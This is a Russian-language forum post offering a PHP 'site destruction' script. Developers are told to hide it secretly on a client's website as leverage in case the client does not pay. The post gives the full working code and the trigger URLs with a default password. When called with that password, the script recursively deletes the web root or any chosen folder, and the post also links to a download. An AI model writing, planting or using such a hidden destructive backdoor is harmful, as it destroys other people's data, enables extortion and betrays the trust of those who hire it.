vigilante
Premium Lite
- Регистрация
- 8 Ноя 2015
- Сообщения
- 293
- Реакции
- 8,171
- Тема Автор Вы автор данного материала? |
- #1
Голосов: 0
Конечно надеюсь что такой скрипт никому никогда не понадобится. Но бывают случаи когда не оплатили за сайт, и поменяли пароль (закрыв тебе доступ) и тебя кинули на деньги (не расчитавшись).
Что же тогда делать? Как себя подстраховывать?
Тогда на сайт втихаря нужно кинуть такой скриптик. Скрипт уничтожения сайта.
Если параметры не указать, а просто открыть то увидим корневой путь (относительно корня) «/».
Если запустить с параметром:
. То мы удалим весь сайт!
В плане безопасности — безопасен, если вы изменили пароль. Так что можно заливать и не бояться. Вот когда оплатят или выполнят требования, и уже станет не актуален, можно будет и удалить.
Если же нужно определенную папку удалить то параметр будет выглядеть так:
И он в браузере покажет вам путь что вы ему отправили.
Вот код:
Скачать:
http://chizi.by/?dl_id=137
Что же тогда делать? Как себя подстраховывать?
Тогда на сайт втихаря нужно кинуть такой скриптик. Скрипт уничтожения сайта.
Код:
http://[сайт]/[путь куда спрятали]/[имя скрипта - стандартный delete].php[параметры]
Если параметры не указать, а просто открыть то увидим корневой путь (относительно корня) «/».
Если запустить с параметром:
Код:
"?del=[пароль]" -- указан пароль в скрипте (стандартный "killbil")
В плане безопасности — безопасен, если вы изменили пароль. Так что можно заливать и не бояться. Вот когда оплатят или выполнят требования, и уже станет не актуален, можно будет и удалить.
Если же нужно определенную папку удалить то параметр будет выглядеть так:
Код:
"?del=[пароль]&path=[путь]"
Если вы сомневаетесь что путь корректен по ссылке, то можно отправить для теста так:
"?path=[путь]"
И он в браузере покажет вам путь что вы ему отправили.
Вот код:
Код:
// чтобы точно выполнился
ignore_user_abort(true);
set_time_limit(0);
// стандартный путь
$path=$_SERVER['DOCUMENT_ROOT'];
// стандартный пароль (меняем на свой)
$pass="killbil";
// можем и отправить что именно удалить (папку)
if (isset($_GET['path']))
$path=$_GET['path'];
// реальный путь
echo $path=realpath($path);
// если получим параметр на удаление и он будет корректен
if ((isset($_GET['del']))&&($_GET['del']==$pass))
rmdir_recurse($path);
// рекурсионное удаление
function rmdir_recurse($path) {
$path = rtrim($path, '/').'/';
$handle = opendir($path);
while(false !== ($file = readdir($handle))) {
if($file != '.' and $file != '..' ) {
$fullpath = $path.$file;
if(is_dir($fullpath)) rmdir_recurse($fullpath); else unlink($fullpath);
}
}
closedir($handle);
rmdir($path);
}
Скачать:
http://chizi.by/?dl_id=137